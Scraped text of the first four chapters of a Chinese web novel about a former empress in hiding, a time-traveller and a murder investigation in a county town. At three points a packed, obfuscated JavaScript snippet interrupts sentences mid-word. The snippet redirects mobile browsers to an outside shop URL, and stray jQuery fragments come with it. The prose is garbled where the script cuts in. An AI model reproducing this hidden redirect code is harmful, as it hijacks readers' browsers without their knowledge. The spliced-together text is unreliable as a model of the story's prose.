《和离七次后》 1. 第1章 贫贱寡妇百事哀! 梨娘兜里只剩下五个铜板。 一月前,她刚求人借来五十两碎银。 这并非她大手大脚。相反,梨娘很好养活。但她的小宝先天不足,近日又染上风寒,陈县缺医少药,她为此颇费力气。 虽然她学着缝些绣品来补贴家用,但她年少时骄纵,成婚后又处处有人侍奉,竟从来没在这方面用过功。 成品自然歪七扭八、让人看了发笑。只有她的姐妹可怜她,半送半买地接济她些。 可梨娘现在藏身的小院已经是她的好姐妹墨画、知县小妾的私产。梨娘和前夫和离前闹得很不愉快,遭人追杀,已经麻烦墨画许多,断不能再给她惹事。 梨娘很忧郁。 她忧郁地拉满弓,正中野兔的眼睛。——她很有力气;因为家世好,营养好,身高也高挑,骑射功夫一骑绝尘。 如果不是该死的前夫恨不得把她的通缉令贴满每条街,她本不需要这样藏头露面。 千金啊,那可是整整千金啊! 连梨娘自己都差点没忍住,鬼使神差地想自投罗网,更何况其他人呢? 回到家,陈大夫已经在给小宝看诊。陈大夫长得仪表堂堂,实则道貌岸然,心黑得像块碳。他慢条斯理写下药方,在梨娘伸手要接时骤然收回:“诊费、药费,一百两,不还价。” 天文数字。梨娘咬牙:“.....能不能宽容些时日?” 陈大夫微笑:“那我走了。” 这人完全没有任何医者仁心,甚至连色心都没有;他完全掉进钱眼里了。发现梨娘这里再也刮不出油水,他立刻转身就走。 梨娘抱着小宝叹气。小宝睁着一对漆黑的大眼睛看着她,他长得眉清目秀,颇为可爱,可惜头大身子小,瘦得可怜,像个小骷髅兵。 小宝认真道:“娘啊,你放心,我死之前一定吊死在他家门口。” 梨娘更忧愁了:“儿啊,你还没满五岁,他最多赔我们五两银子。” 小宝在晚上又发了一次高烧,把野兔子肉和糙米粥原模原样吐了出来,整个人一下子蔫了下去。 梨娘实在没办法了,抱着孩子又在半夜敲了墨画的门。 墨画连夜帮她请了大夫,又近身照料;天蒙蒙亮的时候,小宝的脸色终于不再那么难看了。 梨娘只觉得又困窘,又无奈。她把沾了污物的外衣拖去,惭愧道:“抱歉,又麻烦你。我....你等我想想办法。” 墨画抿唇微笑:“哪里,如果不是姐姐当初救我,哪里来的墨画现在这条命呢?姐姐有什么难处,尽可以告诉我,不必生分。不过,我有一事,反倒要劳烦姐姐了。” 听见有事相托,梨娘是觉得很高兴的。不过,听清楚事情原委,她神情意外起来:“看吓着?” 墨画神情暗淡,点了点头。 “我知道姐姐不愿意我提起来那时候的事情.....可是当初的姐姐,就像神仙一样。大阜有个疯皇帝,上官皇后善名却远扬。大家也都也知道她.....您有奇法。” 墨画有一个弟弟。 说来惭愧,梨娘当时做皇后的时候,其实从不记得有墨画这么个小宫女。后来实在落魄,得到墨画相帮,才勉强从脑子里翻出这么一号人物。 墨画人小甚微,她弟弟自然也不是什么大官,不过是个普通侍卫,领着微薄的薪水勉强过活。日子过得艰难,姐弟感情却很好。 大约也有大阜皇帝实在太不做人的原因。 墨画:“我弟弟他,从前日便变得奇怪。认不得人,又记不得自己是谁,性情大变,胡言乱语,大吵大闹......我怕的很,又不敢请神婆来看。思来想去,就只有姐姐您能帮我了。” 梨娘听完,心便凉了半截。 不过面对墨画的眼睛,她还是没把话说死。 梨娘:“我得见见你弟弟.....我得单独和他谈谈。” . “大哥大哥大哥,别绑呜呜呜呜!"墨诚眼睛滴溜滴溜转,口中塞的布巾被取下,便立刻想方设法搭话。 五大三粗的家丁并不领情,捏开他的下巴把米汤往里一灌,差点把墨诚淹死在里面。最后一点米汤下肚,布巾就又被塞回墨诚嘴里。 “老实待着。” 墨诚气得半死。 这是他穿越过来的第三天。他平日里就爱看穿越小说,发现自己穿越过来的时候,简直欣喜若狂! 封侯拜相、迎娶高门贵女,如梦一般的人生在向他招手。 传奇即将开启,在墨诚仰天长啸的时候,他撞见一个惊恐的女子。然后传奇就落幕了:他被那个女子叫来几个家丁关进小黑屋里五花大绑。 天哪,他会是最丢脸的穿越者吗? 吱呀一声,柴房的木门被推开。 墨诚百无聊赖地抬头,一个女子,他见过的,嘴巴张成“o”型,叫人把他绑起来的人。 另一个,戴着帷帽,脸遮的严严实实,只叫人隐约看到下巴上似乎有颗小痣;身形极为风流窈窕,虽身着粗布麻衣,可周身气度姿态,竟叫人难以移开眼睛。 墨诚眼睛看直了。连自己口中布巾被取下、墨画推门出去也不知。 他目光紧紧盯着仙女看。 梨娘盯了他一会,寒声道:“奇变偶不变。” 墨诚愣了一下,道:“符.....符号看象限。” 梨娘:“宫廷玉液酒。” 墨诚:“一百八一杯!” 梨娘:“Howareyou?” 墨诚颤抖道:“I'mfine,thankyou.Andyou?” 墨诚狗腿道:“前辈!是穿越者前辈吗?能帮帮我吗?现在是个什么情况?” 梨娘切身地为墨画感到伤心:她的弟弟再也回不来了。 梨娘温声道:“妾身虽不理解什么是‘穿越者’,不过妾身的丈夫教过妾。” 墨诚强忍心痛道:“哦,哈哈,原来是大哥啊。大哥现在身体怎么样?我能见见大哥吗?” “不急。”梨娘微微一笑道,“你方才所见的,是你这具原身的亲姐,她为了弟弟担心得日夜难以安睡。” 占了别人的身体,墨诚确实很不好意思:“等我发达了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704788|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,我一定补偿她。不过这具身体本来也要死了嘛.....他生了绝症,就算我不穿过来,他也只有两三个月可活。” 梨娘笑道:“妾身的丈夫确实是天纵奇才。如果你和他一样,或许也能做出一番事业。” 不好,有穿越者前辈,前人不会已经把路走窄了吧? 墨诚忙问:“请问夫人是否知道肥皂?” 梨娘:“唾手可得。” 墨诚:“有没有读过一本作品,写四个家族的兴衰?木石前盟?金玉良缘?” 梨娘做沉思状:“前些年风靡过,不过早就被各国皇帝列为禁书,你也少提为好。” 墨诚:“能够‘砰’一下爆炸的火药?” 梨娘:“大阜南边的疆土就是靠此物打下。” 墨诚:“能够治疗感染、从发霉的西瓜里提取出的神奇妙妙药品?” 梨娘:“早就救了无数百姓的命。” 墨诚瘫倒。 梨娘把墨诚的底子摸得差不多,自觉他闹不出什么幺蛾子,轻笑道:“小郎君,若是只会这些,还是老老实实和你的姐姐过日子吧。你虽换了个芯子,但谨慎小心些,还是能普普通通过一辈子的。” 墨诚挣扎:“我!我还会医术!” 梨娘:“......” 梨娘的瞳孔微微放大了:“说说看。” “夫人,你得保证,如果我很有用,你得帮我引荐大哥。”墨诚抓狂。 有钱一起赚!有福一起享!墨诚对穿越者前辈产生了十足的嫉妒。 梨娘轻声细语道:“那是自然。妾身有一儿,先天不足。你若能救他,妾身自然无有不从。” “那那那还是没必要,救人一命胜造七级浮屠嘛。”墨诚不好意思道,“我是个看急重症的大夫。” 现代的医术,在古代能发挥的作用有限——墨诚心里很忐忑。 仙女沉默了一会,摘下了帷帽。 墨诚从没见过这样的美人——仿佛有只勺子轻轻敲了一下杯壁一样,发出“叮”的一声,整颗心都随着波纹颤动着,什么也没办法想了。 那是张笑意盈盈的芙蓉面,浓眉大眼,灵动至极,天生的讨人喜欢;不过那眼眸深处,涌动着一些墨诚看不懂的东西。 梨娘道:“妾身上官梨。曾为大阜皇后。” “皇皇皇后?”墨诚咬了舌头,一边心想卧槽啊穿越者前辈混这么好???一边想卧槽啊我是不是要行礼啊??? 梨娘:“妾身的夫君,不,前夫,便是大阜皇帝。也是一位像你一样的穿越者。” “不过,他残暴不仁,草菅人命,民间诨号‘疯皇帝’,在十年前就已经被人起兵推翻了。” “......”,墨诚,“啊?” “后来他一直贼心不死,一直在起兵试图复国,不过都没有成功。对抛弃他的妾身更是恨之入骨。”梨娘微笑,“妾身劝你最好别去招惹他。他疯了。” “他实在做下了许多荒唐事,导致现在你这种人,自称为‘穿越者’的——人人喊打。你如果想活命,就别让外人发现端倪。” 2. 第2章 新人还不如旧人 梨娘有些疲惫地从柴房里走出,墨画立刻围上来,焦急地询问:“姐姐,如何了?” 梨娘勉强笑笑:“好了。” 墨诚一边在地上扭动,一边大叫道:“姐,为什么绑我?疼死了!” 墨画喜极而泣:“太好了,我就知道,姐姐是最厉害的。我回头便给姐姐送去谢礼!” 梨娘不敢看墨画的眼睛,幸好她有一直戴着帷帽的习惯。她勉强道:“嗯....我去休息了。” 夜半三更,梨娘的小院门被人轻轻敲响。 墨诚鬼鬼祟祟地进门,一转头发现小宝瞪着两个黑漆漆的大眼珠子盯着他,吓得险些大叫起来。 梨娘无奈道:“妾身孩儿顽劣,郎君多多包涵。” 墨诚平复狂跳的心脏:“不,没事,哈哈,小孩子活泼点好。精力旺盛,多好啊,哈哈。” 小宝乖乖伸出袖子让他把脉,他面对陌生人不哭也不闹,懂事得让人心疼。 梨娘问:“墨画还好吗?” 墨诚挠了挠头:“还好吧,她哭了一场,不过好像没看出来什么端倪。” 梨娘道:“那便好。妾身对他们姐弟了解不深,有些秘密自然不会对我这个外人言说。从今往后,还需你自己努力。” “你说的是真的吗?”墨诚一边检查小宝,一边忍不住询问道,“如果我被发现是穿越者,真的会被处死吗?” “你对妾身的前夫都做过什么好事,恐怕还不甚明白。”梨娘叹道,“他把路走窄了——他的刑法之严苛,连妾身做皇后的时候都被打入过大牢。只因为妾身一时好心,喂给一个快要死掉的可怜人一碗粥喝。更何况对百姓呢?” “他好大喜功,想要建造能流传千年的宫殿,徭役一直征,一直在抓人。家里没有青壮年男人,就带走女人;女人也死掉许多,他就抓孩子。” “妾身是大阜人,你们姐弟俩也是大阜人;现在只能在大燹国艰难度日,还不明白吗?” 墨诚还是觉得很遥远,嘀咕:“不应该啊,他怎么会不知道秦二世呢?” “那是什么?”梨娘茫然道。 “没没没事。”墨诚赶紧转移话题,“而你家小宝这个还是挺严重的,在我的时代都是大毛病,在古代不知道有没有办法治.....哎,我替你写个方子吧,你让他先吃两周....先吃半月养养看。” “那就拜托郎君了。”梨娘发自内心道,“郎君大恩大德,妾身没齿难忘。” 她起身盈盈一拜,墨诚像被掐住喉咙的鸡一样大叫起来:“夫人使不得啊,使不得。不要行礼了,我看了浑身不自在。” 梨娘抿唇笑道:“郎君需得快快熟悉起来才好。” 小宝的病好歹是有了办法,梨娘觉得周身松快许多,看着墨诚也越看越顺眼,便细细叮嘱了他许多事宜才放人离开。 梨娘心知,迟早是要露馅的。 不过她也见过许多的亲眷家人,虽然看穿皮囊里并非故人,却依旧佯装不知,凑合过活的。 翌日,陈大夫依然来梨娘家里给小宝看诊。 梨娘从山上挖野菜回来,一身的泥泞,狼狈不堪,自觉不想见人,一把把他推走:“去去去,我没钱了。” 陈大夫笑眯眯地:”钱已经有人替你付过了。我只是口渴,求你一碗野菜粥喝。” 谁?梨娘心想,墨画么?她的心肠确实太软,或许该找个时机告诉她,不必花这么多银两。 陈大夫虽然黑心,但医术精湛无比。 梨娘半信半疑地给他开了门,陈大夫直奔小宝,步伐不过略快了些,梨娘便惊觉有异,一把揪住此人衣领,陈大夫反手抓握她的手腕一扭,喀拉声响,梨娘面色不改,把自己脱臼的手腕拧回,抬腿便是一记鞭腿踹出,电光火石之间两人已经连过三招—— 谁都没讨到便宜,两人心里都大为困惑。 梨娘把自己的七个前夫全过了一遍,死了的不能诈尸,剩下的五个目标也有点太多,她实在想不出来自己没得罪过谁,只好怒喝:“你想做什么?谁派你来的?” “娘?”小宝探出头,手里抱着一把菜刀,阴险地嘻嘻笑,“你在杀人吗?我来帮你!” 梨娘简直要服了,大叫:“别送,别送!这人不是普通人,咱们惹不起!” 晚了,陈奉请一手抄起吱哇乱叫的小崽子,一手掂了掂梨娘家的菜刀,十分有分量,简直是杀人不二利器:“夫人似乎有许多秘密。” 小宝立刻倒戈:“娘啊,你快投降吧,你儿子我还没活够啊。” “儿啊,你老实点吧!”梨娘气得半死,咬牙,“大夫似乎也并非池中物。如此阴险卑鄙无耻狡诈之徒,梨娘也是生平少见。” 陈奉请自豪道:“那是。此番叨扰梨娘,多有得罪。此间事了,必然再次登门拜谢。” 梨娘道:“不如进屋详谈?妾身孤儿寡母,若叫人瞧见,岂不坏我名声?” 这便是狼狈为奸之意。 陈奉请大摇大摆地坐在主位,很自在地畅饮了一番梨娘亲手沏的茶,并给出吝啬点评:“茶技太烂。你如果生在我的家乡,定然恨嫁。” 梨娘柔声细语道:“梨娘现在恨死你了。” “哈哈。”陈奉请颇为自得,“那真是我的荣幸。” 他放下茶盏:“不止梨娘是否听说过一人,姓赵,名丰。” 梨娘思索一番:“知县亲子?” 陈奉请点头:“正是。” 梨娘道:“他是标准的纨绔子弟,不过心肠不坏。平日里虽不用功读书,但也从不想着伤人害人,只爱招猫逗狗。你若是得罪了他,只好好道个歉,就了了。” 陈奉请不好意思地笑了:“他死了。” 梨娘转身就走。 她心想,孩子送你吧!我淌不起这趟浑水。 陈县知县姓赵,名皆;在任期间兢兢业业,爱民如子。而且他现在虽然是个小官,曾经也是个三品大员,因得罪当朝国师被贬,说不定什么时候就又会被复用。 于情于理,梨娘都不乐意得罪他。 “好梨娘,别走别走,”陈奉请急忙拦下梨娘,“我没杀他。我好好地敛我的财,做什么想不开要杀人?” 梨娘柔声道:“谁知道呢?或许你这样人面兽心的家伙,就是会这样做。” 陈奉请有苦说不出,道:“我真没杀他。” 今日清晨,陈奉请照常去替赵丰看诊。 陈县偏远,赵丰在赵知县被贬的路上染上疟疾,从阎王手里捡回半条命,但自那以后身体一直不太好。陈奉请作为陈县医术最好的黑心大夫,一直替他抓药调养。 坏就坏在赵丰为人天真,看不惯陈奉请的畜生做派,和他有过多次口角。 陈奉请到赵丰住处的时候,家仆倒了一地,赵丰人已经凉了。 陈奉请当即明白,自己即将成为最大的嫌犯,恰巧,他又不那么经得起细查。 他立刻把自己来过的一切痕迹都销毁。但他每三日就会去赵家看诊,人尽皆知。 为了掩盖此事,他需要一个帮手。 梨娘迟疑道:“要妾身替你作伪证,自无不可。小宝常有发病,外人并不会怀疑。不过,妾身的小宝若是难受,妾身心一慌,一时冲动,恐怕会说出点什么不该说的。” 说完,梨娘嘤嘤假哭起来。 这坏女人。陈奉请微笑道:“我知此事勉强。陈某必尽绵薄之力,不收一分钱。” 梨娘不哭了,柔柔道:“既然郎君从没做过此事,妾身自然不会让人平白污了好人名声。此事需严丝合缝、让人挑不出一丝毛病才好。” 陈奉请道:“夫人,你说话真让人肉麻。” 梨娘道:“大夫,闭上你的嘴。” 二人细细核对一番说辞。 不多时,梨娘觉出地面震动,俯身听去,果是一队车马从赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704789|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 府缓缓逼近。 “来这么快?”梨娘有些诧异,“你来妾身处时,可否被人瞧见?” 陈奉请也觉得纳闷:“绝对没有。或许赵丰府上采买的人逃过一劫,发现了他的尸身。” 不管事实如何,梨娘也只好一条路走到黑。 她给小宝使了一个眼神,小宝立刻躺下,放声尖叫,满地打滚,边呕边哭:“娘啊——娘啊,我喘不上气——救——救——我——” 陈奉请被这小小的身躯所爆发出的精湛的演技震撼了。 久久不能发出声音。 任凭小宝把眼泪鼻涕都擦在他裤脚上。 梨娘心累:“儿啊,你收着点,过犹不及。” 院门被敲响,梨娘当场也是身子一软,眼圈一红,两行清泪从眼角流下,又被胡乱抹掉,慌忙抱住小宝哽咽道:“小宝,小宝,乖啊,不哭,娘在这里呢,你需安静些,娘能想到法子的。” 陈奉请无语。 真不愧是母子。 院门被撞开,一列身着铠甲的士兵鱼贯而入。 陈奉请当场入戏,一张俏脸顿时变得阴险可憎起来:“哎哎哎,在这搭戏班子呢?我说一百两就是一百两,一分钱也不能少,我可不是菩萨!” 三人拉扯争执间,梨娘“恍然”“终于”注意到了闯入的府兵,瞥到青色官服的一角,慌忙跪下,眼露困惑,神情茫然中带着一丝无措:“不知诸位大人,因何造访?” 赵知县已是知天命的年纪,头发胡须皆已花白。 墨画却是正值花信年华,老东西见色起意,又好面子,自然平日里对墨画多有疼爱,她做的许多事,他都睁一只眼闭一只眼。 这不代表他糊涂,对于这个小妾偷偷藏起来的女人,他也略知一二。 是个可怜人,不过,也是个狠角色。 “苏梨儿,抬起头来。” 梨娘怯怯地抬起脸来。 赵知县叹了口气,道:“今日卯时,你在何处?” 我送走墨诚,出门挖野菜。 梨娘道:“小宝昨儿半夜又发起高烧,妾身给他擦身子,好不容易烧退了,可一直嚷着难受、喘不过气。” 梨娘瞥一眼在躲在赵知县背后的墨画,眉毛微微蹙起,心知事情有变:“妾身已经叨扰过妹妹一次,实在难以抹开脸皮再次打扰。便腆着脸去求陈大夫。现在想来,到陈大夫家中时,天刚蒙蒙亮,约莫是卯时。” 梨娘小心翼翼道:“怎么了吗?大人。” 小宝一直在她怀中尖叫、扑腾,把所有人的耳膜都折磨得苦不堪言。有再大的官威,在这种情况下,也只剩下满腔疲惫。 赵知县略略抬高声音,道:“陈奉请,苏梨儿所说可属实?今日卯时,你一直和她在一处?” 陈奉请自然顺坡下:“梨娘所说,句句属实。她求我救命,又不给银钱。要知道,哪怕神仙要想请我救命,也得先给钱才行。” 真是混蛋至极。 赵知县捏了捏鼻梁,挥手:“一起带走。” 梨娘神情惊愕,把身子福得更低了:“大人,民女不知所为何事!况且民女的小宝儿还在病着,可否开恩,容民女先好好安置他?” 陈奉请嚷道:“不是吧!何时做生意也要被抓?大人抓人,也要有个理由才行!” 二人反抗自然无用。 戏也演的差不多了,梨娘偷偷掐了一下小宝,小宝懂事地哭到“昏厥”,终于免除了对众人耳膜的酷刑。 墨画走近她,深深地看了她一眼,那眼神竟让梨娘有些陌生。她低低地道:“姐姐,小宝我来替你看护。” 她的声音是嘶哑的。 梨娘心中咯噔一下,并没松手,反而把孩子抱得更紧了些,追问:“到底出什么事了?” “姐姐。”墨画说,“你没有杀墨诚,对不对?” “你快告诉我,不是你杀的他,对不对!!!” 3. 第3章 你相信来世么? 墨诚死了? 墨诚死了! 墨诚死的真惨啊,脑袋从脖子上搬了家,现在还被没找到呢! 墨诚的尸首是在梨娘家不远的地方被发现的。 发现他的人当场吓尿了裤子哩! . 牢房潮湿、阴暗,能听到老鼠在角落爬动的簌簌声,不过,被关进去的两个半人对此都没有丝毫的不自在。 女人美则美矣,五官过分侬艳,不笑的时候总有种森然鬼气;男人风流倜傥,但笑起来有种拟人的气质;小孩更是难以言说,生病生得面容青紫,乍一看根本不像活的。 看守搓了搓鸡皮疙瘩,呵斥了一番:“老实待着,这可是大案,如果敢搞什么小动作,小心点你们的皮!” 二人目送看守的背影消失在拐角。 梨娘小声咬牙切齿:“你干的?为了诬陷妾身?梨娘真是小看了你!” 陈奉请眉毛微挑:“我还想问呢。你惹了这么大的祸事,早知便不请你作证。那老东西不要脸老牛吃嫩草,疼他那个小妾像疼眼珠子似的,谁想去招惹他们?” 二人互相指责了一番,互相觉得对方绝非善类,各自在心中提高了警惕。 陈奉请首先举手投降:“夫人,这样下去可解决不了问题。我发誓绝对没杀过赵丰,如有违背就让我一辈子发不了财。那你呢?” 梨娘的语气稍有缓和:“我可以发誓,我绝对没有害过墨诚。妾身命贱,全仰仗姐妹墨画帮扶,才勉力活着。我为什么想不开要害人?” 陈奉请上下打量她:“夫人貌美,或许他对你图谋不轨?” 梨娘皮笑肉不笑,道:“妾身嫁过七次人,个个是惊世人渣。小宝一出生,他父亲就抛妻弃子;后来我为了小宝委身于人,只求有间屋子能把孩子养大。没成想又被当成礼物送给了权贵——再怎么着,墨诚还能比他们差么?你可以去查,他们现在还活得好好的。妾身没杀前夫,难道不就是妾身本分老实的证明?” 这实在太惨,陈奉请已经信了三分,由衷道:“你真倒霉。” 二人短暂达成一致,梨娘蹙眉道:“赵丰尸身被发现不过是早晚的事。届时知县发现我们两个可疑人物凑在一处,我们的证词定然大打折扣。” 梨娘沉吟片刻,问:“那赵丰死时,是什么样子?” 他们两个实在是太可疑。如要洗脱嫌疑,只有更加可疑的人冒出水面才行。陈奉请便也不隐瞒,全盘托出: “赵丰死的比较不安详。” . 赵丰此子,富有而不慷慨,天真而虚伪—— “你在做好事,为什么偏要收那么多银子?如果你愿意义诊,一定能攒很多功德,将来可是能成仙的!” 陈奉请一听他说话就头痛。 幸好赵知县是个富有且不糊涂的聪明人,陈奉请便只当赵丰说话是在放屁,每日拿了银子就走,不跟傻子多废话。 赵丰有一帮狐朋狗友,组成人物大致为:主簿家的公子,典史家的小姐,几个富商的游手好闲的表亲,还有别人家的牛。 时常能看到几个人牵着牛招摇过市。 为什么有牛,是因为曾经有一个牛姓公子,是赵丰在京城时的好玩伴。后来因妖女祸事,国师震怒,赵皆造贬,牛家灭族。 这头牛是牛公子的转世。 陈奉请为何知道这些,是因为牛生病了,赵丰哭得稀里哗啦,牵着牛求他看病。 陈奉请觉得他们都得了癔症。 牛最后还是死了。因为陈奉请不是兽医。 他医术堪称活死人肉白骨,但真不是兽医,真不会给牛看病。 赵丰要他给牛公子偿命。 . “你别笑了。”陈奉请大怒,“你还笑!我都没有笑你烂桃花!” “哈哈哈哈哈哈!”梨娘抚掌大笑,“大人遭遇,我生平仅见!” . 偿命自然是不可能偿命的,因为赵知县没得癔症。 赵丰茶不思饭不想,只想着牛公子。 陈奉请那天赚了不少银两,心情不错,好心劝了赵丰两句:“人死不能复生。你节哀顺变。” 赵丰坚持说:“人死是可以复生的,我证明给你看!” 陈奉请再去见他,他就死了。 现在也没复生。 被一把匕首从身后捅穿心脏,死得好惨呐。 赵丰入赘给了当地的一家富商的小姐。富商全家,还有院中足足有十几个兵强马壮的看护,全部面色青紫,是被毒死的。 富商小姐的尸首不在其中,她半月前出门做生意,至今未归,本就未留在陈县。虽逃过一劫,但不知待她回来,面对如此惨剧,要如何自处呢。 . 梨娘笑不出来了:“这真是.....人间惨剧。” 她沉吟一番:“药毒不分家,你想撇清关系倒也合理。下毒、刺杀.....定是熟人所为,赵丰开罪过什么人么?除你之外。” 陈奉请无奈道:“他那么蠢笨无知,想也知道明里暗里得罪过不少人。而且赵知县又是都城来的。谁知道到底是哪来的仇家?” 不可能是都城来的人。 如果是都城来的人,一定会优先解决梨娘。 梨娘的人头可是价值千金啊! 梨娘在心底苦笑。 不过,此事就没必要告诉陈奉请了。 梨娘道:“知县家事,他自己最清楚。你若真与此事无关,便咬死了当日同我在一处。让他先去查别人,便可徐徐图之。” 陈奉请点头:“我本是这个想法。不过现在看来,你那边的事更棘手。你且记得:不要把我拖下水。” 梨娘道:“墨诚遇害,着实让人匪夷所思。墨诚没什么仇家,性格也胆小木讷,或许是恰好遇到劫匪了罢。” 墨诚是穿越者一事,梨娘自然不可能告知陈奉请。 大燹对穿越者的追杀,已经到了疑罪从有的地步。 毕竟最出名的穿越者是更出名的害群之马,大燹皇帝这会儿有些草木皆兵。 梨娘对墨诚有所求,但人死了,也并不想染上包庇之罪。这会儿,巴不得撇清关系才好。 她心中自然困惑,难道哪个人也发现了墨诚的穿越者身份不成?墨画......墨画舍得么? 唉,穿越者刚来的时候总是不谨慎。 中元的时候也替他烧些纸钱吧,梨娘心想,这是我唯一能做的了。 三人在牢中枯坐,彼此无言。 梨娘抱着小宝,连熬几天,疲累上涌,兜里一分钱没有,也不怕被偷,她索性倒头就睡。 希望老鼠别咬掉我的耳朵。 梨娘迷迷糊糊地想。 这一觉睡得浑浑噩噩、冷汗潺潺。脸颊被轻轻拉扯了一下,梨娘就条件反射地暴起,死死掐住来者的喉咙—— “唉,我和你无冤无仇,你索命,别索我的命,去索你前夫的命啊!” 这女人瞳孔放大,呼吸急促。像只受惊的猫。 僵持一瞬,梨娘轻咳,反手替陈奉请理了理衣领,柔声道:“对不住,我....作了个噩梦。” 梦到从前事,梨娘头痛无比,真是晦气! 陈奉请笑道:“我是不如何。不过,官爷们可是要等得久了。” 小宝在她怀里平板无波道:“娘啊,官爷们要分别问我们的话。我还是个小孩,我不会说话,我不要和你分开。” 梨娘抹了下汗湿的刘海儿,打量了下牢房外的赵知县。他神情阴云密布,难掩悲痛,怕是赵丰事发。 梨娘细细叮嘱道:“没事的,你知道什么,就说什么。赵大人爱民如子,绝不会冤枉好人。” 梨娘确实十分放心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704790|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>她在都城中时,也听过赵皆的名声。 虽然私德稍显欠佳,但官是好官。 几个官兵将梨娘压至一间刑房,刑具森然凛冽,带着浓郁的血腥气。 赵皆道:“你不怕?” 梨娘道:“谁会不怕呢?” 梨娘笑道:“梨娘最怕痛了。” “哎。”赵皆叹了口气,他已经老了。他见过苏梨儿,是位能忍常人所不能忍的奇女子。命硬的能砍树,谁能跟她比啊? 他道:“苏梨儿,我的儿子死了。” 梨娘道:“节哀。梨娘听闻,你的儿子有七个呢。和梨娘的前夫一样多。大人可知,宁缺毋滥啊。” 赵皆震怒:“你!” 梨娘当场滑跪,语气柔柔:“梨娘知错。” 赵皆头痛:“唉......” 赵皆:“这孩子是我最小的孩子。他不知事的。都城那些腌臜事,我从来没让他接触过,他是干净的,没害过人。我把陈县变得不一样了,你不觉得么?” 梨娘微笑:“大燹天恩,不敢多言。” 赵皆又叹气:“唉......我知你苦楚。说说墨诚吧。墨画,与你姐妹相称。我知是她僭越,可她也是懵懂无知的可怜人,一心一意地爱重你。她就这么一个亲人,你让她从今往后怎么活?” 梨娘道:“梨娘有心无力。此间事皆与我无关!” 她说得干脆利落,赵皆反倒愣了。 “真假?” 梨娘道:“梨娘若有半句虚言,梨娘赶明儿便被人穿走皮囊。” 这是很毒的誓了。 赵皆不敢置信道:“你可知,墨诚是......” “穿越者。”梨娘无奈道,“墨画跟我提这件事的时候,我便早明白他是穿越者了。但我曾经也不是每个穿越者都杀;就算以前杀过许多,那也是不得不为,梨娘的命也捏在别人手里呢。” “现在我已隐姓埋名,不再为那些人卖命,自然没必要追杀他。况且穿越者自称是个大夫,我求他救救小宝还来不及。” 梨娘将袖中药方递出,赵皆看了,笔迹歪扭,决计是穿越者手笔。 多是些滋补药材,还有许多名字,赵皆无法领会其意,想也便知,不是本朝物。 小宝的病不是这一张药方便能解决的。 赵皆已经信了七分:“竟不是你.....!” “我真没有平白害人的爱好,真的。”梨娘也很无奈,“就算曾经是刽子手,也都是听命行事。” 赵皆低声道:“都城来的?” 梨娘摇摇头:“不像。” 想起一事,梨娘又补充道:“你儿子也不像穿越者。两伙人干的。” 赵皆道:“那与你一道的陈大夫,他如何?” 梨娘细想便十分无语:“小人行径。” “道德败坏,品行低劣!......他有秘密,但应该不是凶手。比起梨娘,赵大人恐怕更了解他吧?可否透露一二?” 赵皆放松下来,道:“他愿留在这里,本心不坏,我会留心。苏梨儿,此事你得帮我。” 梨娘道:“莫要提了。梨娘现在只想过平凡日子。大人既然已知梨娘与此案无关,难道不应该放梨娘归家么?” 赵皆身子微微往前探,目光紧紧锁住她:“苏梨儿,若是那帮人寻来,你我都讨不了好处吃。” 此人不上道啊。梨娘怒道:“妾身又没一口回绝。报酬呢?好处呢!妾身现在过得很惨,身无分文啊!” 赵皆愣了,道:“你变了。” 梨娘道:“妾身得养孩子,或许这就是长大吧。” 赵皆十分无语:“你.....哎,若事情能有个水落石出,赵某可出千两银。” 梨娘满足地笑了:“梨娘要大人知道的所有事。三日之内,梨娘会给出让大人满意的答复。” 4. 第4章 屋漏偏逢连夜雨 墨诚的尸首缺了脑袋。 所以他一定是被人砍了脑袋死的。 仵作言之凿凿。 听了他的一席话,梨娘好像听了一席话。 她升起一种无力感,呻吟道:“大人呐,我们真的没有更好的仵作了吗?” 赵皆两手一摊,苦笑道:“你也知道的,在大燹,这是一件没办法的事。” 二人正谈话间,一队穿着打扮极为奇特之人鱼贯而入。 一行五人,皆着彩衣,周身佩戴有鱼纹式样的金银首饰,十分精巧。面上戴有玉制面具,腰佩双鱼玉环,叮叮当当,格外引人注目。 梨娘拢紧了衣物,低下头,确保面容被帷帽遮的严严实实。她从牙缝里挤出几个字:“哭丧的。” 赵皆也从牙缝里挤出几个字:“快别瞎说,是巡抚大人们——苏梨儿,你可千万别出声。” 赵皆一副热络模样,腆着脸凑上前,花白胡子笑得抖动:“这不是巡抚大人们吗?下官遭逢命案,待此事水落石出,定然整理好卷宗,呈上大人案头。” 巡抚并不搭理他。 他们扑通一声跪在地上,大声痛哭。 